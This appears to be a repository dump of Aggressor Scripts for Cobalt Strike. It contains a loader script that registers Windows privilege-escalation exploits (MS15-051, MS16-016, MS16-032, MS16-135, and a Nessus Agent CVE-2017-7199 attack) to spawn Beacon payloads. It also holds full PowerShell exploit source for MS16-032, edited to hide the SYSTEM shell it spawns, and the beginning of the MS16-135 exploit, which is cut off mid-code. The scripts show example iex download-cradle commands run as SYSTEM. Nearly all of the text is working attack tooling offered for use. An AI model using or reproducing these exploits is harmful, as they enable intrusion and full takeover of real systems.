[
  {
    "path": "README.md",
    "content": "# Aggressor Scripts\n\nCollection of Aggressor Scripts for Cobalt Strike\n\n## Basic Usage\nIf you clone the whole repo, you only need to load `loader.cna` into the Script Manager.  Child modules will be automatically included.\nIf you only want to use particular modules, e.g. `elevate`, then load `elevate\\elevate.cna` as desired.\n\n## Modules\n\n### Elevate\nExploit local priviledge escalation vulnerabilities\n\n### Persistence\nInstall persistence mechanisms on compromised hosts"
  },
  {
    "path": "elevate/README.md",
    "content": "## Modules\n\n* MS15-051\n* MS16-016\n* MS16-032\n* MS16-135\n* CVE-2017-7199"
  },
  {
    "path": "elevate/elevate.cna",
    "content": "sub ms15_051 {\n\n\tbtask($1, \"Tasked Beacon to run \" . listener_describe($2) . \" via MS15-051\");\n\n\tif (-is64 $1) {\n\t\t$arch   = \"x64\";\n\t\t$dll    = getFileProper(script_resource(\"elevate\\\\modules\"), \"cve-2015-1701.x64.dll\");\n\t}\n\telse {\n\t\t$arch   = \"x86\";\n\t\t$dll    = getFileProper(script_resource(\"elevate\\\\modules\"), \"cve-2015-1701.x86.dll\");\n\t}\n\n\t# Generate shellcode\n\t$stager = shellcode($2, false, $arch);\n\n\t# Spawn Beacon with DLL\n\tbdllspawn!($1, $dll, $stager, \"ms15-051\", 5000);\n\n\t# Stage\n\tbstage($1, $null, $2, $arch);\n\n}\n\nsub ms16_016_exploit {\n\n\t# x86 only\n\tif (-is64 $1) {\n\t\tberror($1, \"MS16-016 is x86 only\");\n\t\treturn;\n\t}\n\n\tbtask($1, \"Tasked Beacon to run \" . listener_describe($2) . \" via MS16-016\");\n\n\t# Generate shellcode\n\t$stager = shellcode($2, false, \"x86\");\n\n\t$dll = getFileProper(script_resource(\"elevate\\\\modules\"), \"cve-2016-0051.x86.dll\");\n\n\t# Spawn Beacon with DLL\n\tbdllspawn!($1, $dll, $stager, \"ms16-016\", 5000);\n\n\t# stage our payload (if this is a bind payload)\n\tbstage($1, $null, $2, $arch);\n\n}\n\nsub ms16_032 {\n\n\tlocal('$script $oneliner');\n\n\tbtask($1, \"Tasked Beacon to run \" . listener_describe($2) . \" via MS16-032\");\n\n\t# Generate PowerShell\n\t$script = artifact($2, \"powershell\");\n\n\t# Host script\n\t$oneliner = beacon_host_script($1, $script);\n\n\t# Source\n\t$source = getFileProper(script_resource(\"elevate\\\\modules\"), \"Invoke-MS16032.ps1\");\n\n\t# Import & run\n\tbpowershell_import!($1, $source);\n\tbpowerpick!($1, \"Invoke-MS16032 -Command \\\" $+ $oneliner $+ \\\"\");\n\n\t# Wait\n\tbpause($1, 10000);\n\n\t# Stage\n\tbstage($1, $null, $2);\n\n}\n\nsub ms16_135 {\n\n\tlocal('$script $oneliner');\n\n\tbtask($1, \"Tasked Beacon to run \" . listener_describe($2) . \" via MS16-135\");\n\n\t# Generate PowerShell\n\t$script = artifact($2, \"powershell\");\n\n\t# Host script\n\t$oneliner = beacon_host_script($1, $script);\n\n\t# Source\n\t$source = getFileProper(script_resource(\"elevate\\\\modules\"), \"Invoke-MS16135.ps1\");\n\n\t# Import & run\n\tbpowershell_import!($1, $source);\n\tbpowerpick!($1, \"Invoke-MS16135 -Command \\\" $+ $oneliner $+ \\\"\");\n\n\t# Wait\n\tbpause($1, 10000);\n\n\t# Stage\n\tbstage($1, $null, $2);\n\n}\n\nsub nessus_agent {\n\n\t$bid = $1;\n\t$listener = $2;\n\n\tbtask($bid, \"Tasked Beacon to run \" . listener_describe($listener) . \" via CVE-2017-7199\");\n\n\t# Create the dummy java.exe directory\n\tbmkdir!($bid, \"C:\\\\ProgramData\\\\Tenable\\\\Nessus Agent\\\\nessus\\\\plugins\\\\java.exe\");\n\n\tif ( -is64 $bid ) { $arch = \"x64\" }\n\telse { $arch = \"x86\" }\n\n\t# Generate stageless artifact\n\tartifact_stageless($listener, \"exe\", $arch, $null, $this);\n\tyield;\n\n\t$payload = $1;\n\n\t# Upload binary\n\tbupload_raw!($bid, \"C:\\\\ProgramData\\\\Tenable\\\\Nessus Agent\\\\nessus\\\\plugins\\\\java -version.exe\", $payload);\n\n\tblog2($bid, \"Wait for, or force a service/system restart, then link to your Beacon. Also requires manual cleanup.\");\n\t\n}\n\nbeacon_exploit_register(\"ms15-051\", \"Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)\", &ms15_051);\nbeacon_exploit_register(\"ms16-016\", \"mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)\", &ms16_016);\nbeacon_exploit_register(\"ms16-032\", \"Secondary Logon Handle Privilege Escalation (CVE-2016-099)\", &ms16_032);\nbeacon_exploit_register(\"ms16-135\", \"Win32k Elevation of Privilege (CVE-2016-7255)\", &ms16_135);\nbeacon_exploit_register(\"nessus-agent\", \"Nessus Agent 6.6.2-6.10.3 (CVE-2017-7199)\", &nessus_agent);"
  },
  {
    "path": "elevate/modules/Invoke-MS16032.ps1",
    "content": "function Invoke-MS16032 {\n<#\n    .SYNOPSIS\n        \n        PowerShell implementation of MS16-032. The exploit targets all vulnerable\n        operating systems that support PowerShell v2+. Credit for the discovery of\n        the bug and the logic to exploit it go to James Forshaw (@tiraniddo).\n        \n        Targets:\n        \n        * Win7-Win10 & 2k8-2k12 <== 32/64 bit!\n        * Tested on x32 Win7, x64 Win8, x64 2k12R2\n        \n        Notes:\n        \n        * In order for the race condition to succeed the machine must have 2+ CPU\n          cores. If testing in a VM just make sure to add a core if needed mkay.\n        * The exploit is pretty reliable, however ~1/6 times it will say it succeeded\n          but not spawn a shell. Not sure what the issue is but just re-run and profit!\n        * Want to know more about MS16-032 ==>\n          https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html\n\n    .DESCRIPTION\n\n        Author: Ruben Boonen (@FuzzySec)\n        Blog: http://www.fuzzysecurity.com/\n        License: BSD 3-Clause\n        Required Dependencies: PowerShell v2+\n        Optional Dependencies: None\n        E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736\n\n        EDIT: This script has been edited to include a parameter for custom commands and\n        also hides the spawned shell. Many comments have also been removed and echo has\n        moved to Write-Verbose. The original can be found at:\n            https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1\n        \n    .EXAMPLE\n\n        C:\\PS> Invoke-MS16-032 -Command \"iex(New-Object Net.WebClient).DownloadString('http://google.com')\"\n\n        Description\n        -----------\n        Will run the iex download cradle as SYSTEM\n\n#>\n    [CmdletBinding()]\n    param(\n\n        [Parameter(Position=0,Mandatory=$True)]\n        [String]\n        $Command\n    )\n\n    Add-Type -TypeDefinition @\"\n    using System;\n    using System.Diagnostics;\n    using System.Runtime.InteropServices;\n    using System.Security.Principal;\n    \n    [StructLayout(LayoutKind.Sequential)]\n    public struct PROCESS_INFORMATION\n    {\n        public IntPtr hProcess;\n        public IntPtr hThread;\n        public int dwProcessId;\n        public int dwThreadId;\n    }\n    \n    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]\n    public struct STARTUPINFO\n    {\n        public Int32 cb;\n        public string lpReserved;\n        public string lpDesktop;\n        public string lpTitle;\n        public Int32 dwX;\n        public Int32 dwY;\n        public Int32 dwXSize;\n        public Int32 dwYSize;\n        public Int32 dwXCountChars;\n        public Int32 dwYCountChars;\n        public Int32 dwFillAttribute;\n        public Int32 dwFlags;\n        public Int16 wShowWindow;\n        public Int16 cbReserved2;\n        public IntPtr lpReserved2;\n        public IntPtr hStdInput;\n        public IntPtr hStdOutput;\n        public IntPtr hStdError;\n    }\n    \n    [StructLayout(LayoutKind.Sequential)]\n    public struct SQOS\n    {\n        public int Length;\n        public int ImpersonationLevel;\n        public int ContextTrackingMode;\n        public bool EffectiveOnly;\n    }\n    \n    public static class Advapi32\n    {\n        [DllImport(\"advapi32.dll\", SetLastError=true, CharSet=CharSet.Unicode)]\n        public static extern bool CreateProcessWithLogonW(\n            String userName,\n            String domain,\n            String password,\n            int logonFlags,\n            String applicationName,\n            String commandLine,\n            int creationFlags,\n            int environment,\n            String currentDirectory,\n            ref  STARTUPINFO startupInfo,\n            out PROCESS_INFORMATION processInformation);\n            \n        [DllImport(\"advapi32.dll\", SetLastError=true)]\n        public static extern bool SetThreadToken(\n            ref IntPtr Thread,\n            IntPtr Token);\n            \n        [DllImport(\"advapi32.dll\", SetLastError=true)]\n        public static extern bool OpenThreadToken(\n            IntPtr ThreadHandle,\n            int DesiredAccess,\n            bool OpenAsSelf,\n            out IntPtr TokenHandle);\n            \n        [DllImport(\"advapi32.dll\", SetLastError=true)]\n        public static extern bool OpenProcessToken(\n            IntPtr ProcessHandle, \n            int DesiredAccess,\n            ref IntPtr TokenHandle);\n            \n        [DllImport(\"advapi32.dll\", SetLastError=true)]\n        public extern static bool DuplicateToken(\n            IntPtr ExistingTokenHandle,\n            int SECURITY_IMPERSONATION_LEVEL,\n            ref IntPtr DuplicateTokenHandle);\n    }\n    \n    public static class Kernel32\n    {\n        [DllImport(\"kernel32.dll\")]\n        public static extern uint GetLastError();\n    \n        [DllImport(\"kernel32.dll\", SetLastError=true)]\n        public static extern IntPtr GetCurrentProcess();\n    \n        [DllImport(\"kernel32.dll\", SetLastError=true)]\n        public static extern IntPtr GetCurrentThread();\n        \n        [DllImport(\"kernel32.dll\", SetLastError=true)]\n        public static extern int GetThreadId(IntPtr hThread);\n        \n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern int GetProcessIdOfThread(IntPtr handle);\n        \n        [DllImport(\"kernel32.dll\",SetLastError=true)]\n        public static extern int SuspendThread(IntPtr hThread);\n        \n        [DllImport(\"kernel32.dll\",SetLastError=true)]\n        public static extern int ResumeThread(IntPtr hThread);\n        \n        [DllImport(\"kernel32.dll\", SetLastError=true)]\n        public static extern bool TerminateProcess(\n            IntPtr hProcess,\n            uint uExitCode);\n    \n        [DllImport(\"kernel32.dll\", SetLastError=true)]\n        public static extern bool CloseHandle(IntPtr hObject);\n        \n        [DllImport(\"kernel32.dll\", SetLastError=true)]\n        public static extern bool DuplicateHandle(\n            IntPtr hSourceProcessHandle,\n            IntPtr hSourceHandle,\n            IntPtr hTargetProcessHandle,\n            ref IntPtr lpTargetHandle,\n            int dwDesiredAccess,\n            bool bInheritHandle,\n            int dwOptions);\n    }\n    \n    public static class Ntdll\n    {\n        [DllImport(\"ntdll.dll\", SetLastError=true)]\n        public static extern int NtImpersonateThread(\n            IntPtr ThreadHandle,\n            IntPtr ThreadToImpersonate,\n            ref SQOS SecurityQualityOfService);\n    }\n\"@\n    \n    function Get-ThreadHandle {\n        $StartupInfo = New-Object STARTUPINFO\n        $StartupInfo.dwFlags = 0x00000100\n        $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()\n        $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()\n        $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()\n        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)\n        \n        $ProcessInfo = New-Object PROCESS_INFORMATION\n        $GetCurrentPath = (Get-Item -Path \".\\\" -Verbose).FullName\n        \n        $CallResult = [Advapi32]::CreateProcessWithLogonW(\n            \"user\", \"domain\", \"pass\",\n            0x00000002, \"C:\\Windows\\System32\\cmd.exe\", \"\",\n            0x00000004, $null, $GetCurrentPath,\n            [ref]$StartupInfo, [ref]$ProcessInfo)\n        \n        $lpTargetHandle = [IntPtr]::Zero\n        $CallResult = [Kernel32]::DuplicateHandle(\n            $ProcessInfo.hProcess, 0x4,\n            [Kernel32]::GetCurrentProcess(),\n            [ref]$lpTargetHandle, 0, $false,\n            0x00000002)\n        \n        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)\n        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)\n        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)\n        \n        $lpTargetHandle\n    }\n    \n    function Get-SystemToken {\n        Write-Verbose \"`n[?] Trying thread handle: $Thread\"\n        Write-Verbose \"[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)\"\n    \n        $CallResult = [Kernel32]::SuspendThread($Thread)\n        if ($CallResult -ne 0) {\n            Write-Verbose \"[!] $Thread is a bad thread, moving on..\"\n            Return\n        } Write-Verbose \"[+] Thread suspended\"\n        \n        Write-Verbose \"[>] Wiping current impersonation token\"\n        $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)\n        if (!$CallResult) {\n            Write-Verbose \"[!] SetThreadToken failed, moving on..\"\n            $CallResult = [Kernel32]::ResumeThread($Thread)\n            Write-Verbose \"[+] Thread resumed!\"\n            Return\n        }\n        \n        Write-Verbose \"[>] Building SYSTEM impersonation token\"\n        $SQOS = New-Object SQOS\n        $SQOS.ImpersonationLevel = 2\n        $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)\n        $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)\n        if ($CallResult -ne 0) {\n            Write-Verbose \"[!] NtImpersonateThread failed, moving on..\"\n            $CallResult = [Kernel32]::ResumeThread($Thread)\n            Write-Verbose \"[+] Thread resumed!\"\n            Return\n        }\n    \n        $script:SysTokenHandle = [IntPtr]::Zero\n        $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)\n        if (!$CallResult) {\n            Write-Verbose \"[!] OpenThreadToken failed, moving on..\"\n            $CallResult = [Kernel32]::ResumeThread($Thread)\n            Write-Verbose \"[+] Thread resumed!\"\n            Return\n        }\n        \n        Write-Verbose \"[?] Success, open SYSTEM token handle: $SysTokenHandle\"\n        Write-Verbose \"[+] Resuming thread..\"\n        $CallResult = [Kernel32]::ResumeThread($Thread)\n    }\n    \n    $ms16032 = @\"\n     __ __ ___ ___   ___     ___ ___ ___ \n    |  V  |  _|_  | |  _|___|   |_  |_  |\n    |     |_  |_| |_| . |___| | |_  |  _|\n    |_|_|_|___|_____|___|   |___|___|___|\n                                        \n                   [by b33f -> @FuzzySec]\n\"@\n    \n    $ms16032\n    \n    Write-Verbose \"`n[?] Operating system core count: $([System.Environment]::ProcessorCount)\"\n    if ($([System.Environment]::ProcessorCount) -lt 2) {\n        \"[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n\"\n        Return\n    }\n    \n    $ThreadArray = @()\n    $TidArray = @()\n    \n    Write-Verbose \"[>] Duplicating CreateProcessWithLogonW handles..\"\n    for ($i=0; $i -lt 500; $i++) {\n        $hThread = Get-ThreadHandle\n        $hThreadID = [Kernel32]::GetThreadId($hThread)\n        if ($TidArray -notcontains $hThreadID) {\n            $TidArray += $hThreadID\n            if ($hThread -ne 0) {\n                $ThreadArray += $hThread\n            }\n        }\n    }\n    \n    if ($($ThreadArray.length) -eq 0) {\n        \"[!] No valid thread handles were captured, exiting!\"\n        Return\n    } else {\n        Write-Verbose \"[?] Done, got $($ThreadArray.length) thread handle(s)!\"\n        Write-Verbose \"`n[?] Thread handle list:\"\n    }\n    \n    Write-Verbose \"`n[*] Sniffing out privileged impersonation token..\"\n    foreach ($Thread in $ThreadArray){\n    \n        Get-SystemToken\n        \n        Write-Verbose \"`n[*] Sniffing out SYSTEM shell..\"\n        Write-Verbose \"`n[>] Duplicating SYSTEM token\"\n        $hDuplicateTokenHandle = [IntPtr]::Zero\n        $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)\n        \n        Write-Verbose \"[>] Starting token race\"\n        $Runspace = [runspacefactory]::CreateRunspace()\n        $StartTokenRace = [powershell]::Create()\n        $StartTokenRace.runspace = $Runspace\n        $Runspace.Open()\n        [void]$StartTokenRace.AddScript({\n            Param ($Thread, $hDuplicateTokenHandle)\n            while ($true) {\n                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)\n            }\n        }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)\n        $AscObj = $StartTokenRace.BeginInvoke()\n        \n        Write-Verbose \"[>] Starting process race\"\n        $SafeGuard = [diagnostics.stopwatch]::StartNew()\n        while ($SafeGuard.ElapsedMilliseconds -lt 10000) {\n            $StartupInfo = New-Object STARTUPINFO\n            # 2 lines added to hide window\n            $StartupInfo.dwFlags = 0x00000001\n            $StartupInfo.wShowWindow = 0x00000000\n            $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size\n\n            $ProcessInfo = New-Object PROCESS_INFORMATION\n            \n            $GetCurrentPath = (Get-Item -Path \".\\\" -Verbose).FullName\n            \n            $CallResult = [Advapi32]::CreateProcessWithLogonW(\n                \"user\", \"domain\", \"pass\",\n                0x00000002, \"$Env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\", \" -command $Command\",\n                0x00000004, $null, $GetCurrentPath,\n                [ref]$StartupInfo, [ref]$ProcessInfo)\n                \n            $hTokenHandle = [IntPtr]::Zero\n            $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)\n            if (!$CallResult) {\n                \"`n[!] Holy handle leak Batman, we have a SYSTEM shell!!`n\"\n                $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)\n                $StartTokenRace.Stop()\n                $SafeGuard.Stop()\n                Return\n            }\n                \n            $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)\n            $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)\n            $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)\n        }\n        \n        $StartTokenRace.Stop()\n        $SafeGuard.Stop()\n    }\n}\n"
  },
  {
    "path": "elevate/modules/Invoke-MS16135.ps1",
    "content": "function Invoke-MS16135 {\n<#\n    .SYNOPSIS\n        \n\t\tPowerShell implementation of MS16-135 (CVE-2016-7255). \n\t\tDiscovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro \n\t\tCredit for the original PoC : TinySec (@TinySecEx)\n\t\tCredit for the Powershell implementation : Ruben Boonen (@FuzzySec)\n        \n        Targets:\n        \n        * Win7-Win10 (x64 only)\n        \n        Successfully tested on :\n        \n        * Win7 x64\n        * Win8.1 x64\n        * Win10 x64\n        * Win2k12 R2 x64\n\n    .DESCRIPTION\n\n        Author: Ruben Boonen (@FuzzySec)\n        Blog: http://www.fuzzysecurity.com/\n        License: BSD 3-Clause\n        Required Dependencies: PowerShell v2+\n        Optional Dependencies: None\n\n        EDIT: This script has been edited to include a parameter for custom commands and\n        also hides the spawned shell. Many comments have also been removed and echo has\n        moved to Write-Verbose. The original can be found at:\n            https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1\n        \n    .EXAMPLE\n\n        C:\\PS> Invoke-MS16135 -Command \"iex(New-Object Net.WebClient).DownloadString('http://google.com')\"\n\n        Description\n        -----------\n        Will run the iex download cradle as SYSTEM\n\n#>\n    [CmdletBinding()]\n    param(\n\n        [Parameter(Position=0,Mandatory=$True)]\n        [String]\n        $Command\n    )\n\n\tAdd-Type -TypeDefinition @\"\n\tusing System;\n\tusing System.Diagnostics;\n\tusing System.Runtime.InteropServices;\n\tusing System.Security.Principal;\n\n\t[StructLayout(LayoutKind.Sequential)]\n\tpublic struct PROCESS_INFORMATION\n\t{\n\t\tpublic IntPtr hProcess;\n\t\tpublic IntPtr hThread;\n\t\tpublic int dwProcessId;\n\t\tpublic int dwThreadId;\n\t}\n\n\t[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]\n\tpublic struct STARTUPINFO\n\t{\n\t\tpublic Int32 cb;\n\t\tpublic string lpReserved;\n\t\tpublic string lpDesktop;\n\t\tpublic string lpTitle;\n\t\tpublic Int32 dwX;\n\t\tpublic Int32 dwY;\n\t\tpublic Int32 dwXSize;\n\t\tpublic Int32 dwYSize;\n\t\tpublic Int32 dwXCountChars;\n\t\tpublic Int32 dwYCountChars;\n\t\tpublic Int32 dwFillAttribute;\n\t\tpublic Int32 dwFlags;\n\t\tpublic Int16 wShowWindow;\n\t\tpublic Int16 cbReserved2;\n\t\tpublic IntPtr lpReserved2;\n\t\tpublic IntPtr hStdInput;\n\t\tpublic IntPtr hStdOutput;\n\t\tpublic IntPtr hStdError;\n\t}\n\n\t[StructLayout(LayoutKind.Sequential)]\n\tpublic struct SQOS\n\t{\n\t\tpublic int Length;\n\t\tpublic int ImpersonationLevel;\n\t\tpublic int ContextTrackingMode;\n\t\tpublic bool EffectiveOnly;\n\t}\n\n\tpublic static class Advapi32\n\t{\n\t\t[DllImport(\"advapi32.dll\", SetLastError=true, CharSet=CharSet.Unicode)]\n\t\tpublic static extern bool CreateProcessWithLogonW(\n\t\t\tString userName,\n\t\t\tString domain,\n\t\t\tString password,\n\t\t\tint logonFlags,\n\t\t\tString applicationName,\n\t\t\tString commandLine,\n\t\t\tint creationFlags,\n\t\t\tint environment,\n\t\t\tString currentDirectory,\n\t\t\tref  STARTUPINFO startupInfo,\n\t\t\tout PROCESS_INFORMATION processInformation);\n\t\t\t\n\t\t[DllImport(\"advapi32.dll\", SetLastError=true)]\n\t\tpublic static extern bool SetThreadToken(\n\t\t\tref IntPtr Thread,\n\t\t\tIntPtr Token);\n\t\t\t\n\t\t[DllImport(\"advapi32.dll\", SetLastError=true)]\n\t\tpublic static extern bool OpenThreadToken(\n\t\t\tIntPtr ThreadHandle,\n\t\t\tint DesiredAccess,\n\t\t\tbool OpenAsSelf,\n\t\t\tout IntPtr TokenHandle);\n\t\t\t\n\t\t[DllImport(\"advapi32.dll\", SetLastError=true)]\n\t\tpublic static extern bool OpenProcessToken(\n\t\t\tIntPtr ProcessHandle, \n\t\t\tint DesiredAccess,\n\t\t\tref IntPtr TokenHandle);\n\t\t\t\n\t\t[DllImport(\"advapi32.dll\", SetLastError=true)]\n\t\tpublic extern static bool DuplicateToken(\n\t\t\tIntPtr ExistingTokenHandle,\n\t\t\tint SECURITY_IMPERSONATION_LEVEL,\n\t\t\tref IntPtr DuplicateTokenHandle);\n\t}\n\n\tpublic static class Kernel32\n\t{\n\t\t[DllImport(\"kernel32.dll\")]\n\t\tpublic static extern uint GetLastError();\n\n\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\tpublic static extern IntPtr GetCurrentProcess();\n\n\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\tpublic static extern IntPtr GetCurrentThread();\n\t\t\n\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\tpublic static extern int GetThreadId(IntPtr hThread);\n\t\t\n\t\t[DllImport(\"kernel32.dll\", SetLastError = true)]\n\t\tpublic static extern int GetProcessIdOfThread(IntPtr handle);\n\t\t\n\t\t[DllImport(\"kernel32.dll\",SetLastError=true)]\n\t\tpublic static extern int SuspendThread(IntPtr hThread);\n\t\t\n\t\t[DllImport(\"kernel32.dll\",SetLastError=true)]\n\t\tpublic static extern int ResumeThread(IntPtr hThread);\n\t\t\n\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\tpublic static extern bool TerminateProcess(\n\t\t\tIntPtr hProcess,\n\t\t\tuint uExitCode);\n\n\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\tpublic static extern bool CloseHandle(IntPtr hObject);\n\t\t\n\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\tpublic static extern bool DuplicateHandle(\n\t\t\tIntPtr hSourceProcessHandle,\n\t\t\tIntPtr hSourceHandle,\n\t\t\tIntPtr hTargetProcessHandle,\n\t\t\tref IntPtr lpTargetHandle,\n\t\t\tint dwDesiredAccess,\n\t\t\tbool bInheritHandle,\n\t\t\tint dwOptions);\n\t}\n\n\n\t[StructLayout(LayoutKind.Sequential)]\n\tpublic struct INPUT\n\t{\n\t\tpublic int itype;\n\t\tpublic KEYBDINPUT U;\n\t\tpublic int Size;\n\t}\n\n\t[StructLayout(LayoutKind.Sequential)]\n\tpublic struct KEYBDINPUT\n\t{\n\t\tpublic UInt16 wVk;\n\t\tpublic UInt16 wScan;\n\t\tpublic uint dwFlags;\n\t\tpublic int time;\n\t\tpublic IntPtr dwExtraInfo;\n\t}\n\n\t[StructLayout(LayoutKind.Sequential)] \n\tpublic struct tagMSG  \n\t{  \n\t\tpublic IntPtr hwnd;\n\t\tpublic UInt32 message;\n\t\tpublic UIntPtr wParam;\n\t\tpublic UIntPtr lParam;\n\t\tpublic UInt32 time;\n\t\tpublic POINT pt;\n\t}\n\n\tpublic struct POINT\n\t{  \n\t\tpublic Int32 x;\n\t\tpublic Int32 Y;\n\t}\n\n\tpublic class ms16135\n\t{\n\t\tdelegate IntPtr WndProc(\n\t\t\tIntPtr hWnd,\n\t\t\tuint msg,\n\t\t\tIntPtr wParam,\n\t\t\tIntPtr lParam);\n\n\t\t[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]\n\t\tstruct WNDCLASSEX\n\t\t{\n\t\t\tpublic uint cbSize;\n\t\t\tpublic uint style;\n\t\t\tpublic IntPtr lpfnWndProc;\n\t\t\tpublic int cbClsExtra;\n\t\t\tpublic int cbWndExtra;\n\t\t\tpublic IntPtr hInstance;\n\t\t\tpublic IntPtr hIcon;\n\t\t\tpublic IntPtr hCursor;\n\t\t\tpublic IntPtr hbrBackground;\n\t\t\t[MarshalAs(UnmanagedType.LPWStr)]\n\t\t\tpublic string lpszMenuName;\n\t\t\t[MarshalAs(UnmanagedType.LPWStr)]\n\t\t\tpublic string lpszClassName;\n\t\t\tpublic IntPtr hIconSm;\n\t\t}\n\t\t\n\t\t[System.Runtime.InteropServices.DllImport(\"user32.dll\", SetLastError = true)]\n\t\tstatic extern System.UInt16 RegisterClassW(\n\t\t\t[System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass);\n\n\t\t[System.Runtime.InteropServices.DllImport(\"user32.dll\", SetLastError = true)]\n\t\tpublic static extern IntPtr CreateWindowExW(\n\t\t\tUInt32 dwExStyle,\n\t\t\t[MarshalAs(UnmanagedType.LPWStr)]\n\t\t\tstring lpClassName,\n\t\t\t[MarshalAs(UnmanagedType.LPWStr)]\n\t\t\tstring lpWindowName,\n\t\t\tUInt32 dwStyle,\n\t\t\tInt32 x,\n\t\t\tInt32 y,\n\t\t\tInt32 nWidth,\n\t\t\tInt32 nHeight,\n\t\t\tIntPtr hWndParent,\n\t\t\tIntPtr hMenu,\n\t\t\tIntPtr hInstance,\n\t\t\tIntPtr lpParam);\n\n\t\t[System.Runtime.InteropServices.DllImport(\"user32.dll\", SetLastError = true)]\n\t\tstatic extern System.IntPtr DefWindowProcW(\n\t\t\tIntPtr hWnd,\n\t\t\tuint msg,\n\t\t\tIntPtr wParam,\n\t\t\tIntPtr lParam);\n\n\t\t[System.Runtime.InteropServices.DllImport(\"user32.dll\", SetLastError = true)]\n\t\tpublic static extern bool DestroyWindow(\n\t\t\tIntPtr hWnd);\n\n\t\t[DllImport(\"user32.dll\", SetLastError = true)]\n\t\tpublic static extern bool UnregisterClass(\n\t\t\tString lpClassName,\n\t\t\tIntPtr hInstance);\n\n\t\t[System.Runtime.InteropServices.DllImport(\"kernel32.dll\", SetLastError = true)]\n\t\tpublic static extern IntPtr GetModuleHandleW(\n\t\t\t[MarshalAs(UnmanagedType.LPWStr)]\n\t\t\tString lpModuleName);\n\n\t\t[DllImport(\"user32.dll\", EntryPoint=\"SetWindowLongPtr\")]\n\t\tpublic static extern IntPtr SetWindowLongPtr(\n\t\t\tIntPtr hWnd,\n\t\t\tint nIndex,\n\t\t\tIntPtr dwNewLong);\n\n\t\t[DllImport(\"user32.dll\")]\n\t\tpublic static extern bool ShowWindow(\n\t\t\tIntPtr hWnd,\n\t\t\tint nCmdShow);\n\n\t\t[DllImport(\"user32.dll\", SetLastError = true)]\n\t\tpublic static extern IntPtr SetParent(\n\t\t\tIntPtr hWndChild,\n\t\t\tIntPtr hWndNewParent);\n\n\t\t[DllImport(\"user32.dll\", SetLastError = false)]\n\t\tpublic static extern IntPtr GetDesktopWindow();\n\n\t\t[DllImport(\"user32.dll\")]\n\t\tpublic static extern bool SetForegroundWindow(\n\t\t\tIntPtr hWnd);\n\n\t\t[DllImport(\"user32.dll\", SetLastError=true)]\n\t\tpublic static extern void SwitchToThisWindow(\n\t\t\tIntPtr hWnd,\n\t\t\tbool fAltTab);\n\n\t\t[DllImport(\"user32.dll\")]\n\t\tpublic static extern bool GetMessage(\n\t\t\tout tagMSG lpMsg,\n\t\t\tIntPtr hWnd,\n\t\t\tuint wMsgFilterMin,\n\t\t\tuint wMsgFilterMax);\n\n\t\t[DllImport(\"user32.dll\")]\n\t\tpublic static extern bool TranslateMessage(\n\t\t\t[In] ref tagMSG lpMsg);\n\n\t\t[DllImport(\"user32.dll\")]\n\t\tpublic static extern IntPtr DispatchMessage(\n\t\t\t[In] ref tagMSG lpmsg);\n\n\t\t[DllImport(\"user32.dll\", SetLastError = true)]\n\t\tpublic static extern IntPtr SetFocus(\n\t\t\tIntPtr hWnd);\n\n\t\t[DllImport(\"user32.dll\")]\n\t\tpublic static extern uint SendInput(\n\t\t\tuint nInputs, \n\t\t\t[In] INPUT pInputs, \n\t\t\tint cbSize);\n\n\t\t[DllImport(\"gdi32.dll\")]\n\t\tpublic static extern int GetBitmapBits(\n\t\t\tIntPtr hbmp,\n\t\t\tint cbBuffer,\n\t\t\tIntPtr lpvBits);\n\n\t\t[DllImport(\"gdi32.dll\")]\n\t\tpublic static extern int SetBitmapBits(\n\t\t\tIntPtr hbmp,\n\t\t\tint cbBytes,\n\t\t\tIntPtr lpBits);\n\n\t\t[DllImport(\"kernel32.dll\", SetLastError = true)]\n\t\tpublic static extern 